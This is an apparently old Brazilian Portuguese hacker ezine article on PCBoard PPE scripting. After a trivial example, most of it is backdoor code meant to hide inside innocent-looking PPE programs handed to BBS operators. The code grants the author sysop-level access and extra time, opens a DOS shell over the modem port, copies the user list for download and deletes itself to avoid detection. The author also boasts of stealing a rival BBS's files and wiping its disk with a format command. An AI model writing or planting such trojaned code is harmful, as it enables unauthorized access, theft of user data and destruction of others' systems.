BBS MODING

Death Knights Issue 1

eZine lover (@eZine)

Published in 

Death Knights

 · 4 Oct 2022

by BK

Vamos logo ao que importa...

PCBoard:
Pra lamaiada q nao sabe nem o q e PCBoard...
pare de ler aki...
pra quem sabe... vo ensinar a vc fazer algo mais pela sua BBS

PS: Ja tive BBS ... foi bom enquanto durou... depois enjuei e fechei!
foi a melhor BBS q teve aki (Ribeirao Preto)
BuRNiNG iN HeLL BBZ
funcionava das 23:00 as 6:00
no primeiro dia teve 25 ligacoes :) (pruma BBS pirata... e q funciona por
menos de 12 horas... ta muito bom!)

Como fazer PPE?
Bom.. PPE = Pcboard Programming eXecutable
blz.. vamo la
primeiro de tudo..
vc tem q declarar as variaveis
por exemplo.. vo fazer um PPE q apareca um determinado nome q foi salvo
numa variavel

-------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx------- 

String Nome 
Tdk = "BK" 
Cls 
AnsiPos 25,12 
Print Tdk 
Delay 10 
End 

-------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx-------

Vo explicar como funciona isso ai em cima

• String (Variavel a ser declarada) (String e usada pra Variavel alfanumerica no caso de vc fazer uma calculadora em PPE.... nao sera usada "String" e sim "Integer" q e uma variavel Numerica)
• Tdk (e o nome da variavel q vc declarou .. podia ser qualquer otra coisa)
• Cls (nem vo falar)
• AnsiPos (serve pra vc dizer onde vc quer q apareca uma determinada palavra e tal)
• AnsiPos 25,12 (X,Y .. ou seja... X = 25 e Y = 12 (no meio da tela)
• Print (serve pra q apareca algo na tela ... normalmente o q ta na frente do Print)
• Print Tdk (ou seja.. na posicao 25x 12y ira' aparecer a variavel Tdk q e' = a BK)
• Delay (e um tempo de espera ... nao e = a 10 secs ... mas e um bom tempo pra finalizacao de um PPE)

End (tbm nem vo falar nada)

e isso...
agora... vamos pros niveis mais avancados... agora vc so vai intender c vc tiver muita facilidade ou tiver base em otra linguagem de programacao ou vc ja souber bastante de PPE

Como fazer uma BackDoor?

uau.. isso e massa!
BackDoor rulez!
blz.. vamo la'!
PS: essas BackDoors ... foram feitas pra serem adicionadas em algum PPE veja c nao seja burro e compile somente a BackDoor e passe pro SysOp pq na hora q ele executar ja vai saber q e BacKD00r! tipo..

coloque uma telinha ANSi bunitinha ... q rode sobre um PPE de UserInfo ou um Bank.... ou .. ah.. sei la.. o q te vier na cabeca.. vc nao e tao burro assim! :P

-------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx------- 

;******************************************************* 
; BACK DOOR DE AUMENTAR O TEMPO, NIVEL DE SEGURANCA    * 
; E DE COLOCAR UMA CERTA QUANTIDADE DE NUMEROS NO      * 
; COMENTARIO2! (alguns bancos de tempo guardam o tempo * 
;  nesse lugar,fazendo com q tenha tempo infinito)     * 
;                                                      * 
 IF ((U_NAME() == "SeuNome")) THEN 
 GETUSER 
 U_SEC = "110" 
 ADJTIME 1000 
 U_CMNT2 = "999999999999999999" 
 PUTUSER 
;******************************************************* 

-------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx-------

explicacao pros ignorantes! :)

• IF ((U_NAME() == "SeuNome")) THEN (isso significa... Se o UserName for igual `a (seunome) ENTAO..)
• GetUser (e tipo vai ate as informacoes desse user)
• U_SEC = "110" (ajusta seu nivel de seguranca pra 110 (geralmente 110 e o nivel maximo .. q e' dado ao SysOp)
• AdjTime 1000 (qto tempo vc tem por dia na BBS? 1 hora? agora vc tera' sua 1hora mais 1000 minutos :)
• U_CMNT2 = "9999999999999999" (bom isso nao e tao importante.... mas eu usei aki.. por q eu vi num Bank Time duma bbs daki q o tempo depositado fica no UserComment2 ... intawm... c vc colocar tudo akilo no UserComment2.. e executar o Bank da BBS (nem todos Bank Time usam isso ... so os qual o SysOp for muito otario ) ira' aparecer como tempo disponivel o numero q vc colocar la'!
• PutUser (serve pra confirmar as novas informacoes!)

-------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx------- 

;******************************************************* 
; BACK DOOR DE CARREGAR O COMMAND.COM!!                * 
; MOTIVO= FORMATAR O HD DA BBS CONCORRENTE OU PEGAR    * 
; INFORMACOES PRIVADAS, ex: USER LIST                  * 
 INT INT001 
 IF ((U_NAME() = "SeuNome")) THEN 
 Shell 1, INT001, "COMMAND COM2", "" 
;******************************************************* 

-------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx-------

Explicacao:

• INT INT001 (variavel declarada.. nao e igual string e integer ... e tbm nao vo explicar o q e' .. como eu disse.. aki e pros mais avancados... c vc sabe algo de PASCAL / C / ASM .. ta blz... funciona igual (int) )
• IF .............. (se o nome for igual "seunome" entao...
• Shell (pra executar um comando do DOS) intawm fica
• Shell 1, Int001(1), "COMMAND COMx"(2), ""(3)
1. (variavel q nao precisa ter definicao alguma .. pois e INT)
2. (carrega o COMMAND.com ... tipo.. COMMAND COM(porta do modem) (porta do modem nao e'do seu modem sacou sua anta...e a porta em q o modem da BBS esta')
3. (deixa do jeito q ta'! pois e pra complementar o comando "Shell")

-------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx------- 

;************************************************************************************* 
; BACK DOOR PARA CAIR PRO DOS, PUXAR O USER LIST, AUMENTAR O NIVEL 
; E PRA DELETAR O PPE 
; 
STRING STRING001 
STRING STRING002 
STRING STRING003 
STRING STRING004 
INT INT001 

CLS 
ANSIPOS 2,5 
PRINT "@X0FDigite 1 pra CAIR pro DOS, 2 pra puxar o USER LIST, 3 para nivel 110, 4 para deletar o PPE" 
ANSIPOS 13,8 
INPUTTEXT "@X0FQual a sua opcao? _", STRING001, 1, 1 
IF ((STRING001 == 1)) THEN 
ANSIPOS 6,10 
INPUTTEXT "@X0FQual a porta q vc deseja usar pra CAIR pro DOS? _", STRING003, 1, 1 
SHELL 1, INT001, "COMMAND COM" + STRING003, "" 
ENDIF 
IF ((STRING001 == 2)) THEN 
SHELL 1, INT001, "COPY C:\PCB\MAIN\USERS C:\TDK.TXT", "" 
FLAG "C:\TDK.TXT" 
ENDIF 
IF ((STRING001 == 3)) THEN 
GETUSER 
U_SEC = "110" 
ADJTIME 100 
PUTUSER 
ENDIF 
IF ((STRING001 == 4)) THEN 
DELETE PPEPATH() + "BIH-BOOT.PPE" 
ENDIF 
ENDIF 
;************************************************************************************************** 

-------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx-------

Explicacao:
as "String" vc ja sabe o q e'
INT tbm... c nao sabe deixa do jeito q ta'
bom.. vo explicar so os comandos mais novos.. q vc ainda nao viu nos eskemas a cima!
INPUTTEXT (vc vai digitar aki! no caso do primeiro INPUTTEXT .. vc vai digitar a opcao!)
IF ((STRING001 == 1)) THEN... (Se a opcao escolhida for = a "1".. ENTAO..) dai pra frente e igual...
blz.. vamo pro IF ((STRING002 == 2)) THEN akele Shell ali.. executa um comando no DOS .. ele vai copiar o arkivo de USER
pro C:\ criando um TDK.TXT (Geralmente o arkivo de user fica no C:\PCB\MAIN\USERS)
ai e com vc...
ajuste a BackDoor pro Drive onde roda a BBS e pro Dir onde ta o PCBoard
FLAG (marca um arkivo.. no caso.. TDK.TXT)
blz.. faca o download... nao e tao complicado de entender o arkivo!
aaaaaaah... os ENDIFs serve pra vc finalizar um IF (hehehe tem q ser MUITO BURRO pra nao saber isso)
STRING001 = 3 ali serve pra almentar seu nivel
STRING001 = 4 (bom... essa backdoor q eu fiz... usei pra pegar o userlist de uma bbs e essa backdoor ficava dentro de um PPE de BOOT q eu fiz pressa BBS intawm tem a linha q deleta o PPE prele nao perceber q foi de la' q deu problema (nao q ele va' descobrir.. mas de repente ele pega um decompilador e comeca a decompilar tudo quante' ppe q ele tem e tal.. ) e depois usei o nome do SysOp pra catar uma porrada de arkivo e depois... como nao precisava mais da BBS... hehehe adivinha o q eu fiz! :)))
tipo..

C:\> format c: /q /autotest

isso refresca sua memoria? :)
PS: se o SysOp descobrir q foi voce... o problema e teu...
eu fiz isso 3:00 da matina!
pensa um poko e faca isso tbm nesse horario ... bom.. eu nao tenho nada a ver com isso!

;********************************************************************************** 
; TODAS AS BACK DOORS A CIMA!!                                                    * 
;                                                                                 * 
;                                                                                 * 
; 
STRING STRING0011 
STRING STRING0012 
STRING STRING0013 

IF (U_NAME() == "BUG MASTER") THEN 
CLS 
ANSIPOS 1,5 
PRINT "@X0FDigite 1 DOS, 2 pra USER LIST, 3 para nivel, 4 para deletar o PPE" 
ANSIPOS 13,8 
INPUTTEXT "@X0FQual a sua opcao? _", STRING0011, 1, 1 
IF ((STRING0011 == 1)) THEN 
ANSIPOS 6,10 
INPUTTEXT "@X0FQual a porta q vc deseja usar? _", STRING0012, 1, 1 
SHELL 1, INT001, "COMMAND COM" + STRING0012, "" 
ENDIF 
IF ((STRING0011 == 2)) THEN 
SHELL 1, INT001, "COPY C:\PCB\MAIN\USERS C:\PCB\PPL\TDK.TXT", "" 
FLAG "C:\PCB\PPL\TDK.TXT" 
ENDIF 
IF ((STRING0011 == 3)) THEN 
ANSIPOS 15,9 
inputtext "Qual o novo nivel? _", STRING0013, 3, 3 
GETUSER 
U_SEC = STRING0013 
ADJTIME 100 
PUTUSER 
ENDIF 
IF ((STRING0011 == 4)) THEN 
DELETE PPEPATH() + "CARRIER.PPE" 
ENDIF 
ENDIF 
;**********************************************************************************

Explicacao:
essa ai tem tudo
eu usei num PPE q eu fiz pra mesma BBS ... so q era um ppe de testar conexao e tal... intawm tem opcao pra deletar o PPE agora q ja expliquei tudu la pra cima... leia ai'.. larga de ser burro e tenta aprender
PS: nao existe curso de PPE... intawm.. aprenda sozinho... assim como eu fiz!

.oO0=-> BBS MoDd!NG <-=0Oo. By BK!
Qualquer coisa to em algum IRC server da BrasNET
meu nick = BK
mas pelamordedeus nao me venha com pergunta escrota!
[]'s!